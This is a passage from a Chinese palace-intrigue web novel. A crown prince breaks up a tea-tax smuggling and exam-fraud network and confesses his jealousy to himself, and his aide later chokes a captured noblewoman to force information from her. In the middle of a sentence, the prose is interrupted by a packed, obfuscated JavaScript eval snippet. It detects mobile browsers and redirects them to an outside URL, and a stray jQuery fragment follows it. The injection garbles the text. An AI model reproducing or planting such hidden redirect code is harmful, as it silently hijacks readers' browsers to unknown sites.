关州生乱,苏叶趁势接管榷务司。
当夜查封万家庄,搜出茶场、万家庄和榷务司的私茶账簿,三相对比之下,榷务司勾结郑家和万家庄贩卖私茶的证据一目了然;将李度、万传宗、石希惟以及榷务司诸人下狱,他们一贯养尊处优,受不住酷刑,不到半个时辰便将私茶之事招供出来,连带着还供出江南道几个官员的名字。
卫枢从节度使田伦那里借得二千府兵,封府,抓人,下狱,审讯,一夜惊魂,直到天际初明,雪霁云散。
案子牵连甚广,涉及茶、盐两税,共计七十六万两匿税。
郑檀提前得到消息,携妻妾子女逃离柳州,等府兵到达时,已人去楼空;另有宫家家主和韩家二爷牵涉其中,一并下狱。
百年世家,大树倾倒,枝离叶落,碾作成泥。
一时之间,江南官场人人自危。
卫枢令关州长史房言暂代刺史之位,清肃吏场,搜剿私茶,安定民心。
房言为人勤干,很快稳住关州的局面,到行辕面见太子。
“启禀殿下,最后一批运往漠北的茶已备妥,运出关州。”
“此案牵涉江南道二十八名官员,一百七十名吏员,除李度等人外,其他悉数关押在江南道节度使府。”
“另有茶场克扣茶农的采茶钱,也按殿下的吩咐一一补还给茶农。”
“苏侍郎和臣皆已上表朝廷案情经过,节度使府也已发出官府通令,捉拿郑檀。”
话到这里,房言突然顿了一下,欲言又止。
卫枢抬眼看他。
房言抿了抿唇,斟酌道:“只是,殿下吩咐查抄郑家之事,眼下……暂时还不成。”
卫枢长眉轻动,声音无波无澜,“房大人若有难处,但说无妨。”
“郑家的三房老夫人是贤贵妃娘娘的外祖母,柳州刺史不愿抓人,微臣也不方便越州府行事,所以郑家的人目前还住在郑府中。”
卫枢轻声道:“郑家偷漏朝廷税赋,把控江南官场,罪大恶极,家产一定要抄没。三房涉案不深,你们寻个宅子,封府之前将老夫人安顿过去。”
房言为难,“老夫人拄着杖立在郑府门前,说谁要敢查抄郑府,就从她的身体上踩过去。”
卫枢拧眉。
一大把年纪了,竟是个拎不清的。
这段时日关州闹得风风雨雨,神机营却再也没有出现,种种迹象足以看出安王对郑家的态度。若是聪明一点,当明哲保身,与郑家长房二房划清界限,而不是在这里胡搅蛮缠。
“你在关州料理后续事宜,此事你就不必管了,孤会派个得力之人前往柳州。”
房言依言,告退。
————
“你说什么?”
书房内,卫枢攥着手中书卷,眼神冷得似要结冰。
任知宜又重复一遍,“臣想与景侍郎一起去柳州。”
“孤不准。”
卫枢将书重重一掷,摔在桌案上,心中生出滔天怒意。他为了支开景随,才派他去柳州解决郑家之事,她却偏要与景随一道。
任知宜问道:“为何?”
卫枢凝望她片刻,沉声道:“你是东宫之人,如今郑家老夫人恨东宫入骨;景随是景相之子,老夫人看在景相的面子上,或许不会为难于他。”
这个原因看似有理,实则不然。
景随去柳州,是去抄家。管他是谁的儿子,老夫人要的是能保住他们郑家的人。景随既然是奉东宫之令前去,与她前往并无不同。
她心中微沉。
近来,太子总是让她与景随保持距离,他是不是已经察觉到她与景随暗中做的一切。
“臣只是觉得,多一个人可能更快解决此事。殿下既然觉得不妥,臣便不去。不知……殿下非要让臣留在关州,是否有别的要事要交于臣办?”任知宜温声道。
卫枢怔了半晌,不自然地别过脸去。
原本就没有任知宜所以为的“要事”,他只是在听到她说要与景随一道去柳州,心中郁气难舒,下意识就说出不准她离开的话。
怔忡之间,他对着内心发问,自己想要留下她的真正理由是什么。
“殿下?”
沉静而清澈的水眸正凝望着他,眼神中满是诧异的探究。
卫枢回过神来,低低“嗯”了一声,“你还记不记得柳德给你的那本名册?”
任知宜正色,“您指的是世家通过科举舞弊掌控的那批官员名单?”
“名单涵盖江南三道九州,三次科举,共计九十八人,除去此次涉案的二十八人,还有七十人。”
任知宜心头一震,“殿下莫非想将这七十人也尽数拔除?”
这些人当中,有的庸碌无为,有的平步青云。接连的科举舞弊案已令人心浮动,朝中文官声望大不如前,若再揭开此案,会给大胤朝堂造成何等冲击,她实在不敢想象。
卫枢道:“这些人枉读圣贤之书,忝列高位多年,为虎作伥,孤绝不能继续姑息,而且他们舞弊的证据掌握在世家手中,一日不除,终是隐患。”
任知宜蹙眉,“殿下准备如何做?”
“你与孤一起,去见一见这些人。”
他继续道:“宫家家主已将当年科举舞弊之行尽数招供,作为交换,孤答应留下宫家全家人的性命。这些舞弊的官员若愿意辞官返乡,孤便饶过他们,若是不愿,孤就将当年的舞弊之行揭露于世人面前。”
任知宜垂眸。
好心计!
这些官员辞官返乡之时,便是太子培植势力之机。新旧更迭,江南三道九州的官场犹如换了一次新鲜的血液,接任的官员将由太子亲自挑选拔擢,将来他们就是东宫最坚实的后盾。
另一方面,太子带她一同前往,也是在昭告天下,她是太子最信重之人。在世人眼中,她与东宫就是一体,牵绊日深,难以割离。
这一认知令她心头沉坠,一个半月之后,太子是不是真得能遵守当初的诺言,放自己离开?
与她所担忧的截然不同,卫枢心中翻起的却是另一番滔天巨浪。
待她离开书房,他仍站在原来的位置,一动不动。
烛火燃燃,发出噼里啪啦的声响。
卫枢缓缓地闭上眼睛,掌心置于胸前,试图抚平内里剧烈的颤动。
直至此刻,他不得不承认,什么“柳州之行”,什么“官员名册”,都是借口,他只是希望知宜一直在他身边,不要再与景随接触罢了。
每每看到景随凝视她的眼神,他就止不住心生戾气。那眼神光华流灿,好似在说,世间之事与我何干,只要能与知宜一起,便是人间欢喜。
或许这就是妒忌吧。
即使自己贵为太子,却
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510920|180125||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不能像景随这般肆意。他要查清云门镇案,要吏治清明,要海清河晏,要江山稳固,他要做的事太多,太多……
卫枢在书房站立良久,久到天已暮色,月上西楼。
他在心中反复预设,若他说出心许之意,知宜会是什么反应?
她曾说过,他是她心中最为看重之人。每每思及至此,卫枢心中便升腾出一股激荡的情绪。
他也思虑过以后,知宜不愿困囿于后宫,他就效仿太祖,与她携手临朝;她多谋善断,又怀济世之心,他不会让她折断羽翼,做一个困于笼中的金丝雀。他会尊重她,爱护她,将世间女子想要的一切都捧到她手中。
待安州之事解决,他就将情意和盘托出。
————
林四和林七带着懿靖郡主回到关州。
因为被喂过少许迷药,人尚在昏迷。
任知宜站在床边,望着昏睡的懿靖郡主,青丝散乱,手臂上带着几处擦伤,显然这段日子也是受了些许苦楚。
卫枢不想见她,只说寻个房间关押起来。
懿靖清醒过来,望见眼前之人,“怎么是你?”
任知宜近前,“懿靖县主,别来无恙。”
懿靖眼神中的恨意一闪而过。
她最讨厌别人喊她县主,尤其是从这个女人口中说出来。
“太子人呢?我不想见你!”
任知宜笑道:“殿下也不想见你,如今你能见的人只有我。这些日子,林四和林七带着县主在山林里,应该也向县主传达过殿下的意思。县主见殿下想说什么,不如说给我听听,我或许能比殿下温柔几分,毕竟我是个女子。”
懿靖气得几乎咬碎银牙,“你这个贱人,终有一日我要将你卖到最下贱的青楼,任千万男子折磨……”
任知宜一把掐住她的喉咙,箍得她说不出话,嘴角的笑容凝成寒冰,“懿靖,你不怕我先对你做这件事吗?”
“唔唔……”,懿靖憋得满脸紫红,喘不上气。
直到看她真得快要窒息,任知宜方才松开手。
懿靖捂着喉咙,缩着身子向后挪动,望向她的眼神充满恐惧。
任知宜拿帕子擦了擦手,“不管是杀了你,还是做你刚才说的事,如今对我来说都是轻而易举。”
“啊啊啊………”,懿靖尖叫不停,刚才濒临死亡的恐惧让她颤抖不已,“不要!不要!”
任知宜走到她面前,冷冷问道:“我只问一遍,你想好了再说。单先生去平州做什么?”
“我,我……”,懿靖身子抖得有如风中的落叶,“我若说了,你就不会杀我?不送我去青楼?”
任知宜漫不经心地点点头,“不过你只有一次机会,我只听实话。”
“他,他提前安插了人在平州和长州,父,父王起兵之后,可里应外合。”
任知宜眸色一深,“如何里应外合?”
“我,我……我真得不知道,他,他没说。”懿靖颤声道。
任知宜沉思半晌。
“我,我都说了,你要遵守诺言,不,不能送我去青楼。”原本明艳的美人抖得不成样子,全然没了当初的盛气凌人。
任知宜复又看了她一眼,“你自己也知道害怕,为何还要对其他女子这般?做事存些良善之心,于己于人,皆为利事。”
说完,转身即走。